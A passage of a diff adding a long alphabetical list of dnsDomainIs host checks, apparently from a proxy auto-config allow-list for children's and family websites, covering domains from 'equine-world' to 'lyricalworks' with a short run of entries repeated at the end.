+ || dnsDomainIs(host, "www.equine-world.co.uk")
+ || dnsDomainIs(host, "www.eric-carle.com")
+ || dnsDomainIs(host, "www.ericlindros.net")
+ || dnsDomainIs(host, "www.escape.com")
+ || dnsDomainIs(host, "www.eskimo.com")
+ || dnsDomainIs(host, "www.essentialsofmusic.com")
+ || dnsDomainIs(host, "www.etch-a-sketch.com")
+ || dnsDomainIs(host, "www.ethanallen.together.com")
+ || dnsDomainIs(host, "www.etoys.com")
+ || dnsDomainIs(host, "www.eurekascience.com")
+ || dnsDomainIs(host, "www.euronet.nl")
+ || dnsDomainIs(host, "www.everyrule.com")
+ || dnsDomainIs(host, "www.ex.ac.uk")
+ || dnsDomainIs(host, "www.excite.com")
+ || dnsDomainIs(host, "www.execpc.com")
+ || dnsDomainIs(host, "www.execulink.com")
+ || dnsDomainIs(host, "www.exn.net")
+ || dnsDomainIs(host, "www.expa.hvu.nl")
+ || dnsDomainIs(host, "www.expage.com")
+ || dnsDomainIs(host, "www.explode.to")
+ || dnsDomainIs(host, "www.explorescience.com")
+ || dnsDomainIs(host, "www.explorezone.com")
+ || dnsDomainIs(host, "www.extremescience.com")
+ || dnsDomainIs(host, "www.eyelid.co.uk")
+ || dnsDomainIs(host, "www.eyeneer.com")
+ || dnsDomainIs(host, "www.eyesofachild.com")
+ || dnsDomainIs(host, "www.eyesofglory.com")
+ || dnsDomainIs(host, "www.ezschool.com")
+ || dnsDomainIs(host, "www.f1-live.com")
+ || dnsDomainIs(host, "www.fables.co.uk")
+ || dnsDomainIs(host, "www.factmonster.com")
+ || dnsDomainIs(host, "www.fairygodmother.com")
+ || dnsDomainIs(host, "www.familybuzz.com")
+ || dnsDomainIs(host, "www.familygames.com")
+ || dnsDomainIs(host, "www.familygardening.com")
+ || dnsDomainIs(host, "www.familyinternet.com")
+ || dnsDomainIs(host, "www.familymoney.com")
+ || dnsDomainIs(host, "www.familyplay.com")
+ || dnsDomainIs(host, "www.famousbirthdays.com")
+ || dnsDomainIs(host, "www.fandom.com")
+ || dnsDomainIs(host, "www.fansites.com")
+ || dnsDomainIs(host, "www.faoschwarz.com")
+ || dnsDomainIs(host, "www.fbe.unsw.edu.au")
+ || dnsDomainIs(host, "www.fcps.k12.va.us")
+ || dnsDomainIs(host, "www.fellersartsfactory.com")
+ || dnsDomainIs(host, "www.ferrari.it")
+ || dnsDomainIs(host, "www.fertnel.com")
+ || dnsDomainIs(host, "www.fh-konstanz.de")
+ || dnsDomainIs(host, "www.fhw.gr")
+ || dnsDomainIs(host, "www.fibblesnork.com")
+ || dnsDomainIs(host, "www.fidnet.com")
+ || dnsDomainIs(host, "www.fieldhockey.com")
+ || dnsDomainIs(host, "www.fieldhockeytraining.com")
+ || dnsDomainIs(host, "www.fieler.com")
+ || dnsDomainIs(host, "www.finalfour.net")
+ || dnsDomainIs(host, "www.finifter.com")
+ || dnsDomainIs(host, "www.fireworks-safety.com")
+ || dnsDomainIs(host, "www.firstcut.com")
+ || dnsDomainIs(host, "www.firstnations.com")
+ || dnsDomainIs(host, "www.fishbc.com")
+ || dnsDomainIs(host, "www.fisher-price.com")
+ || dnsDomainIs(host, "www.fisheyeview.com")
+ || dnsDomainIs(host, "www.fishgeeks.com")
+ || dnsDomainIs(host, "www.fishindex.com")
+ || dnsDomainIs(host, "www.fitzgeraldstudio.com")
+ || dnsDomainIs(host, "www.flags.net")
+ || dnsDomainIs(host, "www.flail.com")
+ || dnsDomainIs(host, "www.flamarlins.com")
+ || dnsDomainIs(host, "www.flausa.com")
+ || dnsDomainIs(host, "www.floodlight-findings.com")
+ || dnsDomainIs(host, "www.floridahistory.com")
+ || dnsDomainIs(host, "www.floridapanthers.com")
+ || dnsDomainIs(host, "www.fng.fi")
+ || dnsDomainIs(host, "www.foodsci.uoguelph.ca")
+ || dnsDomainIs(host, "www.foremost.com")
+ || dnsDomainIs(host, "www.fortress.am")
+ || dnsDomainIs(host, "www.fortunecity.com")
+ || dnsDomainIs(host, "www.fosterclub.com")
+ || dnsDomainIs(host, "www.foundus.com")
+ || dnsDomainIs(host, "www.fourmilab.ch")
+ || dnsDomainIs(host, "www.fox.com")
+ || dnsDomainIs(host, "www.foxfamilychannel.com")
+ || dnsDomainIs(host, "www.foxhome.com")
+ || dnsDomainIs(host, "www.foxkids.com")
+ || dnsDomainIs(host, "www.franceway.com")
+ || dnsDomainIs(host, "www.fred.net")
+ || dnsDomainIs(host, "www.fredpenner.com")
+ || dnsDomainIs(host, "www.freedomknot.com")
+ || dnsDomainIs(host, "www.freejigsawpuzzles.com")
+ || dnsDomainIs(host, "www.freenet.edmonton.ab.ca")
+ || dnsDomainIs(host, "www.frii.com")
+ || dnsDomainIs(host, "www.frisbee.com")
+ || dnsDomainIs(host, "www.fritolay.com")
+ || dnsDomainIs(host, "www.frogsonice.com")
+ || dnsDomainIs(host, "www.frontiernet.net")
+ || dnsDomainIs(host, "www.fs.fed.us")
+ || dnsDomainIs(host, "www.funattic.com")
+ || dnsDomainIs(host, ".funbrain.com")
+ || dnsDomainIs(host, "www.fundango.com")
+ || dnsDomainIs(host, "www.funisland.com")
+ || dnsDomainIs(host, "www.funkandwagnalls.com")
+ || dnsDomainIs(host, "www.funorama.com")
+ || dnsDomainIs(host, "www.funschool.com")
+ || dnsDomainIs(host, "www.funster.com")
+ || dnsDomainIs(host, "www.furby.com")
+ || dnsDomainIs(host, "www.fusion.org.uk")
+ || dnsDomainIs(host, "www.futcher.com")
+ || dnsDomainIs(host, "www.futurescan.com")
+ || dnsDomainIs(host, "www.fyi.net")
+ || dnsDomainIs(host, "www.gailgibbons.com")
+ || dnsDomainIs(host, "www.galegroup.com")
+ || dnsDomainIs(host, "www.gambia.com")
+ || dnsDomainIs(host, "www.gamecabinet.com")
+ || dnsDomainIs(host, "www.gamecenter.com")
+ || dnsDomainIs(host, "www.gamefaqs.com")
+ || dnsDomainIs(host, "www.garfield.com")
+ || dnsDomainIs(host, "www.garyharbo.com")
+ || dnsDomainIs(host, "www.gatefish.com")
+ || dnsDomainIs(host, "www.gateway-va.com")
+ || dnsDomainIs(host, "www.gazillionaire.com")
+ || dnsDomainIs(host, "www.gearhead.com")
+ || dnsDomainIs(host, "www.genesplicing.com")
+ || dnsDomainIs(host, "www.genhomepage.com")
+ || dnsDomainIs(host, "www.geobop.com")
+ || dnsDomainIs(host, "www.geocities.com")
+ || dnsDomainIs(host, "www.geographia.com")
+ || dnsDomainIs(host, "www.georgeworld.com")
+ || dnsDomainIs(host, "www.georgian.net")
+ || dnsDomainIs(host, "www.german-way.com")
+ || dnsDomainIs(host, "www.germanfortravellers.com")
+ || dnsDomainIs(host, "www.germantown.k12.il.us")
+ || dnsDomainIs(host, "www.germany-tourism.de")
+ || dnsDomainIs(host, "www.getmusic.com")
+ || dnsDomainIs(host, "www.gettysburg.com")
+ || dnsDomainIs(host, "www.ghirardellisq.com")
+ || dnsDomainIs(host, "www.ghosttowngallery.com")
+ || dnsDomainIs(host, "www.ghosttownsusa.com")
+ || dnsDomainIs(host, "www.giants.com")
+ || dnsDomainIs(host, "www.gibraltar.gi")
+ || dnsDomainIs(host, "www.gigglepoetry.com")
+ || dnsDomainIs(host, "www.gilchriststudios.com")
+ || dnsDomainIs(host, "www.gillslap.freeserve.co.uk")
+ || dnsDomainIs(host, "www.gilmer.net")
+ || dnsDomainIs(host, "www.gio.gov.tw")
+ || dnsDomainIs(host, "www.girltech.com")
+ || dnsDomainIs(host, "www.girlzone.com")
+ || dnsDomainIs(host, "www.globalgang.org.uk")
+ || dnsDomainIs(host, "www.globalindex.com")
+ || dnsDomainIs(host, "www.globalinfo.com")
+ || dnsDomainIs(host, "www.gloriafan.com")
+ || dnsDomainIs(host, "www.gms.ocps.k12.fl.us")
+ || dnsDomainIs(host, "www.go-go-diggity.com")
+ || dnsDomainIs(host, "www.goals.com")
+ || dnsDomainIs(host, "www.godiva.com")
+ || dnsDomainIs(host, "www.golden-retriever.com")
+ || dnsDomainIs(host, "www.goldenbooks.com")
+ || dnsDomainIs(host, "www.goldeneggs.com.au")
+ || dnsDomainIs(host, "www.golfonline.com")
+ || dnsDomainIs(host, "www.goobo.com")
+ || dnsDomainIs(host, "www.goodearthgraphics.com")
+ || dnsDomainIs(host, "www.goodyear.com")
+ || dnsDomainIs(host, "www.gopbi.com")
+ || dnsDomainIs(host, "www.gorge.net")
+ || dnsDomainIs(host, "www.gorp.com")
+ || dnsDomainIs(host, "www.got-milk.com")
+ || dnsDomainIs(host, "www.gov.ab.ca")
+ || dnsDomainIs(host, "www.gov.nb.ca")
+ || dnsDomainIs(host, "www.grammarbook.com")
+ || dnsDomainIs(host, "www.grammarlady.com")
+ || dnsDomainIs(host, "www.grandparents-day.com")
+ || dnsDomainIs(host, "www.granthill.com")
+ || dnsDomainIs(host, "www.grayweb.com")
+ || dnsDomainIs(host, "www.greatbuildings.com")
+ || dnsDomainIs(host, "www.greatkids.com")
+ || dnsDomainIs(host, "www.greatscience.com")
+ || dnsDomainIs(host, "www.greeceny.com")
+ || dnsDomainIs(host, "www.greenkeepers.com")
+ || dnsDomainIs(host, "www.greylabyrinth.com")
+ || dnsDomainIs(host, "www.grimmy.com")
+ || dnsDomainIs(host, "www.gsrg.nmh.ac.uk")
+ || dnsDomainIs(host, "www.gti.net")
+ || dnsDomainIs(host, "www.guinnessworldrecords.com")
+ || dnsDomainIs(host, "www.guitar.net")
+ || dnsDomainIs(host, "www.guitarplaying.com")
+ || dnsDomainIs(host, "www.gumbyworld.com")
+ || dnsDomainIs(host, "www.gurlwurld.com")
+ || dnsDomainIs(host, "www.gwi.net")
+ || dnsDomainIs(host, "www.gymn-forum.com")
+ || dnsDomainIs(host, "www.gzkidzone.com")
+ || dnsDomainIs(host, "www.haemibalgassi.com")
+ || dnsDomainIs(host, "www.hairstylist.com")
+ || dnsDomainIs(host, "www.halcyon.com")
+ || dnsDomainIs(host, "www.halifax.cbc.ca")
+ || dnsDomainIs(host, "www.halloween-online.com")
+ || dnsDomainIs(host, "www.halloweenkids.com")
+ || dnsDomainIs(host, "www.halloweenmagazine.com")
+ || dnsDomainIs(host, "www.hamill.co.uk")
+ || dnsDomainIs(host, "www.hamsterdance2.com")
+ || dnsDomainIs(host, "www.hamsters.co.uk")
+ || dnsDomainIs(host, "www.hamstertours.com")
+ || dnsDomainIs(host, "www.handsonmath.com")
+ || dnsDomainIs(host, "www.handspeak.com")
+ || dnsDomainIs(host, "www.hansonline.com")
+ || dnsDomainIs(host, "www.happychild.org.uk")
+ || dnsDomainIs(host, "www.happyfamilies.com")
+ || dnsDomainIs(host, "www.happytoy.com")
+ || dnsDomainIs(host, "www.harley-davidson.com")
+ || dnsDomainIs(host, "www.harmonicalessons.com")
+ || dnsDomainIs(host, "www.harperchildrens.com")
+ || dnsDomainIs(host, "www.harvey.com")
+ || dnsDomainIs(host, "www.hasbro-interactive.com")
+ || dnsDomainIs(host, "www.haynet.net")
+ || dnsDomainIs(host, "www.hbc.com")
+ || dnsDomainIs(host, "www.hblewis.com")
+ || dnsDomainIs(host, "www.hbook.com")
+ || dnsDomainIs(host, "www.he.net")
+ || dnsDomainIs(host, "www.headbone.com")
+ || dnsDomainIs(host, "www.healthatoz.com")
+ || dnsDomainIs(host, "www.healthypet.com")
+ || dnsDomainIs(host, "www.heartfoundation.com.au")
+ || dnsDomainIs(host, "www.heatersworld.com")
+ || dnsDomainIs(host, "www.her-online.com")
+ || dnsDomainIs(host, "www.heroesofhistory.com")
+ || dnsDomainIs(host, "www.hersheypa.com")
+ || dnsDomainIs(host, "www.hersheys.com")
+ || dnsDomainIs(host, "www.hevanet.com")
+ || dnsDomainIs(host, "www.heynetwork.com")
+ || dnsDomainIs(host, "www.hgo.com")
+ || dnsDomainIs(host, "www.hhof.com")
+ || dnsDomainIs(host, "www.hideandseekpuppies.com")
+ || dnsDomainIs(host, "www.hifusion.com")
+ || dnsDomainIs(host, "www.highbridgepress.com")
+ || dnsDomainIs(host, "www.his.com")
+ || dnsDomainIs(host, "www.history.navy.mil")
+ || dnsDomainIs(host, "www.historychannel.com")
+ || dnsDomainIs(host, "www.historyhouse.com")
+ || dnsDomainIs(host, "www.historyplace.com")
+ || dnsDomainIs(host, "www.hisurf.com")
+ || dnsDomainIs(host, "www.hiyah.com")
+ || dnsDomainIs(host, "www.hmnet.com")
+ || dnsDomainIs(host, "www.hoboes.com")
+ || dnsDomainIs(host, "www.hockeydb.com")
+ || dnsDomainIs(host, "www.hohnerusa.com")
+ || dnsDomainIs(host, "www.holidaychannel.com")
+ || dnsDomainIs(host, "www.holidayfestival.com")
+ || dnsDomainIs(host, "www.holidays.net")
+ || dnsDomainIs(host, "www.hollywood.com")
+ || dnsDomainIs(host, "www.holoworld.com")
+ || dnsDomainIs(host, "www.homepagers.com")
+ || dnsDomainIs(host, "www.homeschoolzone.com")
+ || dnsDomainIs(host, "www.homestead.com")
+ || dnsDomainIs(host, "www.homeworkspot.com")
+ || dnsDomainIs(host, "www.hompro.com")
+ || dnsDomainIs(host, "www.honey.com")
+ || dnsDomainIs(host, "www.hooked.net")
+ || dnsDomainIs(host, "www.hoophall.com")
+ || dnsDomainIs(host, "www.hooverdam.com")
+ || dnsDomainIs(host, "www.hopepaul.com")
+ || dnsDomainIs(host, "www.horse-country.com")
+ || dnsDomainIs(host, "www.horsechat.com")
+ || dnsDomainIs(host, "www.horsefun.com")
+ || dnsDomainIs(host, "www.horus.ics.org.eg")
+ || dnsDomainIs(host, "www.hotbraille.com")
+ || dnsDomainIs(host, "www.hotwheels.com")
+ || dnsDomainIs(host, "www.howstuffworks.com")
+ || dnsDomainIs(host, "www.hpdigitalbookclub.com")
+ || dnsDomainIs(host, "www.hpj.com")
+ || dnsDomainIs(host, "www.hpl.hp.com")
+ || dnsDomainIs(host, "www.hpl.lib.tx.us")
+ || dnsDomainIs(host, "www.hpnetwork.f2s.com")
+ || dnsDomainIs(host, "www.hsswp.com")
+ || dnsDomainIs(host, "www.hsx.com")
+ || dnsDomainIs(host, "www.humboldt1.com")
+ || dnsDomainIs(host, "www.humongous.com")
+ || dnsDomainIs(host, "www.humph3.freeserve.co.uk")
+ || dnsDomainIs(host, "www.humphreybear.com ")
+ || dnsDomainIs(host, "www.hurricanehunters.com")
+ || dnsDomainIs(host, "www.hyperhistory.com")
+ || dnsDomainIs(host, "www.i2k.com")
+ || dnsDomainIs(host, "www.ibhof.com")
+ || dnsDomainIs(host, "www.ibiscom.com")
+ || dnsDomainIs(host, "www.ibm.com")
+ || dnsDomainIs(host, "www.icangarden.com")
+ || dnsDomainIs(host, "www.icecreamusa.com")
+ || dnsDomainIs(host, "www.icn.co.uk")
+ || dnsDomainIs(host, "www.icomm.ca")
+ || dnsDomainIs(host, "www.idfishnhunt.com")
+ || dnsDomainIs(host, "www.iditarod.com")
+ || dnsDomainIs(host, "www.iei.net")
+ || dnsDomainIs(host, "www.iemily.com")
+ || dnsDomainIs(host, "www.iir.com")
+ || dnsDomainIs(host, "www.ika.com")
+ || dnsDomainIs(host, "www.ikoala.com")
+ || dnsDomainIs(host, "www.iln.net")
+ || dnsDomainIs(host, "www.imagine5.com")
+ || dnsDomainIs(host, "www.imes.boj.or.jp")
+ || dnsDomainIs(host, "www.inch.com")
+ || dnsDomainIs(host, "www.incwell.com")
+ || dnsDomainIs(host, "www.indian-river.fl.us")
+ || dnsDomainIs(host, "www.indians.com")
+ || dnsDomainIs(host, "www.indo.com")
+ || dnsDomainIs(host, "www.indyracingleague.com")
+ || dnsDomainIs(host, "www.indyzoo.com")
+ || dnsDomainIs(host, "www.info-canada.com")
+ || dnsDomainIs(host, "www.infomagic.net")
+ || dnsDomainIs(host, "www.infoplease.com")
+ || dnsDomainIs(host, "www.infoporium.com")
+ || dnsDomainIs(host, "www.infostuff.com")
+ || dnsDomainIs(host, "www.inhandmuseum.com")
+ || dnsDomainIs(host, "www.inil.com")
+ || dnsDomainIs(host, "www.inkspot.com")
+ || dnsDomainIs(host, "www.inkyfingers.com")
+ || dnsDomainIs(host, "www.innerauto.com")
+ || dnsDomainIs(host, "www.innerbody.com")
+ || dnsDomainIs(host, "www.inqpub.com")
+ || dnsDomainIs(host, "www.insecta-inspecta.com")
+ || dnsDomainIs(host, "www.insectclopedia.com")
+ || dnsDomainIs(host, "www.inside-mexico.com")
+ || dnsDomainIs(host, "www.insiders.com")
+ || dnsDomainIs(host, "www.insteam.com")
+ || dnsDomainIs(host, "www.intel.com")
+ || dnsDomainIs(host, "www.intellicast.com")
+ || dnsDomainIs(host, "www.interads.co.uk")
+ || dnsDomainIs(host, "www.intercot.com")
+ || dnsDomainIs(host, "www.intergraffix.com")
+ || dnsDomainIs(host, "www.interknowledge.com")
+ || dnsDomainIs(host, "www.interlog.com")
+ || dnsDomainIs(host, "www.internet4kids.com")
+ || dnsDomainIs(host, "www.intersurf.com")
+ || dnsDomainIs(host, "www.inthe80s.com")
+ || dnsDomainIs(host, "www.inventorsmuseum.com")
+ || dnsDomainIs(host, "www.inwap.com")
+ || dnsDomainIs(host, "www.ioa.com")
+ || dnsDomainIs(host, "www.ionet.net")
+ || dnsDomainIs(host, "www.iowacity.com")
+ || dnsDomainIs(host, "www.ireland-now.com")
+ || dnsDomainIs(host, "www.ireland.com")
+ || dnsDomainIs(host, "www.irelandseye.com")
+ || dnsDomainIs(host, "www.irlgov.ie")
+ || dnsDomainIs(host, "www.isd.net")
+ || dnsDomainIs(host, "www.islandnet.com")
+ || dnsDomainIs(host, "www.isomedia.com")
+ || dnsDomainIs(host, "www.itftennis.com")
+ || dnsDomainIs(host, "www.itpi.dpi.state.nc.us")
+ || dnsDomainIs(host, "www.itskwanzaatime.com")
+ || dnsDomainIs(host, "www.itss.raytheon.com")
+ || dnsDomainIs(host, "www.iuma.com")
+ || dnsDomainIs(host, "www.iwaynet.net")
+ || dnsDomainIs(host, "www.iwc.com")
+ || dnsDomainIs(host, "www.iwight.gov.uk")
+ || dnsDomainIs(host, "www.ixpres.com")
+ || dnsDomainIs(host, "www.j.b.allen.btinternet.co.uk")
+ || dnsDomainIs(host, "www.jabuti.com")
+ || dnsDomainIs(host, "www.jackinthebox.com")
+ || dnsDomainIs(host, "www.jaffebros.com")
+ || dnsDomainIs(host, "www.jaguars.com")
+ || dnsDomainIs(host, "www.jamaica-gleaner.com")
+ || dnsDomainIs(host, "www.jamm.com")
+ || dnsDomainIs(host, "www.janbrett.com")
+ || dnsDomainIs(host, "www.janetstevens.com")
+ || dnsDomainIs(host, "www.japan-guide.com")
+ || dnsDomainIs(host, "www.jargon.net")
+ || dnsDomainIs(host, "www.javelinamx.com")
+ || dnsDomainIs(host, "www.jayjay.com")
+ || dnsDomainIs(host, "www.jazclass.aust.com")
+ || dnsDomainIs(host, "www.jedinet.com")
+ || dnsDomainIs(host, "www.jenniferlopez.com")
+ || dnsDomainIs(host, "www.jlpanagopoulos.com")
+ || dnsDomainIs(host, "www.jmarshall.com")
+ || dnsDomainIs(host, "www.jmccall.demon.co.uk")
+ || dnsDomainIs(host, "www.jmts.com")
+ || dnsDomainIs(host, "www.joesherlock.com")
+ || dnsDomainIs(host, "www.jorvik-viking-centre.co.uk")
+ || dnsDomainIs(host, "www.joycecarolthomas.com")
+ || dnsDomainIs(host, "www.joycone.com")
+ || dnsDomainIs(host, "www.joyrides.com")
+ || dnsDomainIs(host, "www.jps.net")
+ || dnsDomainIs(host, "www.jspub.com")
+ || dnsDomainIs(host, "www.judaica.com")
+ || dnsDomainIs(host, "www.judyblume.com")
+ || dnsDomainIs(host, "www.julen.net")
+ || dnsDomainIs(host, "www.june29.com")
+ || dnsDomainIs(host, "www.juneteenth.com")
+ || dnsDomainIs(host, "www.justuskidz.com")
+ || dnsDomainIs(host, "www.justwomen.com")
+ || dnsDomainIs(host, "www.jwindow.net")
+ || dnsDomainIs(host, "www.k9web.com")
+ || dnsDomainIs(host, "www.kaercher.de")
+ || dnsDomainIs(host, "www.kaleidoscapes.com")
+ || dnsDomainIs(host, "www.kapili.com")
+ || dnsDomainIs(host, "www.kcchiefs.com")
+ || dnsDomainIs(host, "www.kcpl.lib.mo.us")
+ || dnsDomainIs(host, "www.kcroyals.com")
+ || dnsDomainIs(host, "www.kcsd.k12.pa.us")
+ || dnsDomainIs(host, "www.kdu.com")
+ || dnsDomainIs(host, "www.kelloggs.com")
+ || dnsDomainIs(host, "www.kentuckyfriedchicken.com")
+ || dnsDomainIs(host, "www.kenyaweb.com")
+ || dnsDomainIs(host, "www.keypals.com")
+ || dnsDomainIs(host, "www.kfn.com")
+ || dnsDomainIs(host, "www.kid-at-art.com")
+ || dnsDomainIs(host, "www.kid-channel.com")
+ || dnsDomainIs(host, "www.kidallergy.com")
+ || dnsDomainIs(host, "www.kidbibs.com")
+ || dnsDomainIs(host, "www.kidcomics.com")
+ || dnsDomainIs(host, "www.kiddesafety.com")
+ || dnsDomainIs(host, "www.kiddiecampus.com")
+ || dnsDomainIs(host, "www.kididdles.com")
+ || dnsDomainIs(host, "www.kidnews.com")
+ || dnsDomainIs(host, "www.kidocracy.com")
+ || dnsDomainIs(host, "www.kidport.com")
+ || dnsDomainIs(host, "www.kids-channel.co.uk")
+ || dnsDomainIs(host, "www.kids-drawings.com")
+ || dnsDomainIs(host, "www.kids-in-mind.com")
+ || dnsDomainIs(host, "www.kids4peace.com")
+ || dnsDomainIs(host, "www.kidsandcomputers.com")
+ || dnsDomainIs(host, "www.kidsart.co.uk")
+ || dnsDomainIs(host, "www.kidsastronomy.com")
+ || dnsDomainIs(host, "www.kidsbank.com")
+ || dnsDomainIs(host, "www.kidsbookshelf.com")
+ || dnsDomainIs(host, "www.kidsclick.com")
+ || dnsDomainIs(host, "www.kidscom.com")
+ || dnsDomainIs(host, "www.kidscook.com")
+ || dnsDomainIs(host, "www.kidsdoctor.com")
+ || dnsDomainIs(host, "www.kidsdomain.com")
+ || dnsDomainIs(host, "www.kidsfarm.com")
+ || dnsDomainIs(host, "www.kidsfreeware.com")
+ || dnsDomainIs(host, "www.kidsfun.tv")
+ || dnsDomainIs(host, "www.kidsgolf.com")
+ || dnsDomainIs(host, "www.kidsgowild.com")
+ || dnsDomainIs(host, "www.kidsjokes.com")
+ || dnsDomainIs(host, "www.kidsloveamystery.com")
+ || dnsDomainIs(host, "www.kidsmoneycents.com")
+ || dnsDomainIs(host, "www.kidsnewsroom.com")
+ || dnsDomainIs(host, "www.kidsource.com")
+ || dnsDomainIs(host, "www.kidsparties.com")
+ || dnsDomainIs(host, "www.kidsplaytown.com")
+ || dnsDomainIs(host, "www.kidsreads.com")
+ || dnsDomainIs(host, "www.kidsreport.com")
+ || dnsDomainIs(host, "www.kidsrunning.com")
+ || dnsDomainIs(host, "www.kidstamps.com")
+ || dnsDomainIs(host, "www.kidsvideogames.com")
+ || dnsDomainIs(host, "www.kidsway.com")
+ || dnsDomainIs(host, "www.kidswithcancer.com")
+ || dnsDomainIs(host, "www.kidszone.ourfamily.com")
+ || dnsDomainIs(host, "www.kidzup.com")
+ || dnsDomainIs(host, "www.kinderart.com")
+ || dnsDomainIs(host, "www.kineticcity.com")
+ || dnsDomainIs(host, "www.kings.k12.ca.us")
+ || dnsDomainIs(host, "www.kiplinger.com")
+ || dnsDomainIs(host, "www.kiwirecovery.org.nz")
+ || dnsDomainIs(host, "www.klipsan.com")
+ || dnsDomainIs(host, "www.klutz.com")
+ || dnsDomainIs(host, "www.kn.pacbell.com")
+ || dnsDomainIs(host, "www.knex.com")
+ || dnsDomainIs(host, "www.knowledgeadventure.com")
+ || dnsDomainIs(host, "www.knto.or.kr")
+ || dnsDomainIs(host, "www.kodak.com")
+ || dnsDomainIs(host, "www.konica.co.jp")
+ || dnsDomainIs(host, "www.kraftfoods.com")
+ || dnsDomainIs(host, "www.kudzukids.com")
+ || dnsDomainIs(host, "www.kulichki.com")
+ || dnsDomainIs(host, "www.kuttu.com")
+ || dnsDomainIs(host, "www.kv5.com")
+ || dnsDomainIs(host, "www.kyes-world.com")
+ || dnsDomainIs(host, "www.kyohaku.go.jp")
+ || dnsDomainIs(host, "www.kyrene.k12.az.us")
+ || dnsDomainIs(host, "www.kz")
+ || dnsDomainIs(host, "www.la-hq.org.uk")
+ || dnsDomainIs(host, "www.labs.net")
+ || dnsDomainIs(host, "www.labyrinth.net.au")
+ || dnsDomainIs(host, "www.laffinthedark.com")
+ || dnsDomainIs(host, "www.lakhota.com")
+ || dnsDomainIs(host, "www.lakings.com")
+ || dnsDomainIs(host, "www.lam.mus.ca.us")
+ || dnsDomainIs(host, "www.lampstras.k12.pa.us")
+ || dnsDomainIs(host, "www.lams.losalamos.k12.nm.us")
+ || dnsDomainIs(host, "www.landofcadbury.ca")
+ || dnsDomainIs(host, "www.larry-boy.com")
+ || dnsDomainIs(host, "www.lasersite.com")
+ || dnsDomainIs(host, "www.last-word.com")
+ || dnsDomainIs(host, "www.latimes.com")
+ || dnsDomainIs(host, "www.laughon.com")
+ || dnsDomainIs(host, "www.laurasmidiheaven.com")
+ || dnsDomainIs(host, "www.lausd.k12.ca.us")
+ || dnsDomainIs(host, "www.learn2.com")
+ || dnsDomainIs(host, "www.learn2type.com")
+ || dnsDomainIs(host, "www.learnfree-hobbies.com")
+ || dnsDomainIs(host, "www.learningkingdom.com")
+ || dnsDomainIs(host, "www.learningplanet.com")
+ || dnsDomainIs(host, "www.leftjustified.com")
+ || dnsDomainIs(host, "www.legalpadjr.com")
+ || dnsDomainIs(host, "www.legendarysurfers.com")
+ || dnsDomainIs(host, "www.legends.dm.net")
+ || dnsDomainIs(host, "www.legis.state.wi.us")
+ || dnsDomainIs(host, "www.legis.state.wv.us")
+ || dnsDomainIs(host, "www.lego.com")
+ || dnsDomainIs(host, "www.leje.com")
+ || dnsDomainIs(host, "www.leonardodicaprio.com")
+ || dnsDomainIs(host, "www.lessonplanspage.com")
+ || dnsDomainIs(host, "www.letour.fr")
+ || dnsDomainIs(host, "www.levins.com")
+ || dnsDomainIs(host, "www.levistrauss.com")
+ || dnsDomainIs(host, "www.libertystatepark.com")
+ || dnsDomainIs(host, "www.libraryspot.com")
+ || dnsDomainIs(host, "www.lifelong.com")
+ || dnsDomainIs(host, "www.lighthouse.cc")
+ || dnsDomainIs(host, "www.lightlink.com")
+ || dnsDomainIs(host, "www.lightspan.com")
+ || dnsDomainIs(host, "www.lil-fingers.com")
+ || dnsDomainIs(host, "www.linc.or.jp")
+ || dnsDomainIs(host, "www.lindsaysbackyard.com")
+ || dnsDomainIs(host, "www.lindtchocolate.com")
+ || dnsDomainIs(host, "www.lineone.net")
+ || dnsDomainIs(host, "www.lionel.com")
+ || dnsDomainIs(host, "www.lisafrank.com")
+ || dnsDomainIs(host, "www.lissaexplains.com")
+ || dnsDomainIs(host, "www.literacycenter.net")
+ || dnsDomainIs(host, "www.littleartist.com")
+ || dnsDomainIs(host, "www.littlechiles.com")
+ || dnsDomainIs(host, "www.littlecritter.com")
+ || dnsDomainIs(host, "www.littlecrowtoys.com")
+ || dnsDomainIs(host, "www.littlehousebooks.com")
+ || dnsDomainIs(host, "www.littlejason.com")
+ || dnsDomainIs(host, "www.littleplanettimes.com")
+ || dnsDomainIs(host, "www.liveandlearn.com")
+ || dnsDomainIs(host, "www.loadstar.prometeus.net")
+ || dnsDomainIs(host, "www.localaccess.com")
+ || dnsDomainIs(host, "www.lochness.co.uk")
+ || dnsDomainIs(host, "www.lochness.scotland.net")
+ || dnsDomainIs(host, "www.logos.it")
+ || dnsDomainIs(host, "www.lonelyplanet.com")
+ || dnsDomainIs(host, "www.looklearnanddo.com")
+ || dnsDomainIs(host, "www.loosejocks.com")
+ || dnsDomainIs(host, "www.lost-worlds.com")
+ || dnsDomainIs(host, "www.love-story.com")
+ || dnsDomainIs(host, "www.lpga.com")
+ || dnsDomainIs(host, "www.lsjunction.com")
+ || dnsDomainIs(host, "www.lucasarts.com")
+ || dnsDomainIs(host, "www.lucent.com")
+ || dnsDomainIs(host, "www.lucie.com")
+ || dnsDomainIs(host, "www.lunaland.co.za")
+ || dnsDomainIs(host, "www.luth.se")
+ || dnsDomainIs(host, "www.lyricalworks.com")
+ || dnsDomainIs(host, "www.infoporium.com")
+ || dnsDomainIs(host, "www.infostuff.com")
+ || dnsDomainIs(host, "www.inhandmuseum.com")
+ || dnsDomainIs(host, "www.inil.com")
+ || dnsDomainIs(host, "www.inkspot.com")
+ || dnsDomainIs(host, "www.inkyfingers.com")
+ || dnsDomainIs(host, "www.innerauto.com")
+ || dnsDomainIs(host, "www.innerbody.com")
+ || dnsDomainIs(host, "www.inqpub.com")
+ || dnsDomainIs(host, "www.insecta-inspecta.com")
+ || dnsDomainIs(host, "www.insectclopedia.com")
+ || dnsDomainIs(host, "www.inside-mexico.com")
+ || dnsDomainIs(host, "www.insiders.com")
+ || dnsDomainIs(host, "www.insteam.com")
+ || dnsDomainIs(host, "www.intel.com")
+ || dnsDomainIs(host, "www.intellicast.com")
+ || dnsDomainIs(host, "www.interads.co.uk")
+ || dnsDomainIs(host, "www.intercot.com")
+ || dnsDomainIs(host, "www.intergraffix.com")
+ || dnsDomainIs(host, "www.interknowledge.com")
+ || dnsDomainIs(host, "www.interlog.com")
+ || dnsDomainIs(host, "www.internet4kids.com")
+ || dnsDomainIs(host, "www.intersurf.com")
+ || dnsDomainIs(host, "www.inthe80s.com")
+ || dnsDomainIs(host, "www.inventorsmuseum.com")
+ || dnsDomainIs(host, "www.inwap.com")
+ || dnsDomainIs(host, "www.ioa.com")
+ || dnsDomainIs(host, "www.ionet.net")
+ || dnsDomainIs(host, "www.iowacity.com")
+ || dnsDomainIs(host, "www.ireland-now.com")
+ || dnsDomainIs(host, "www.ireland.com")
+ || dnsDomainIs(host, "www.irelandseye.com")
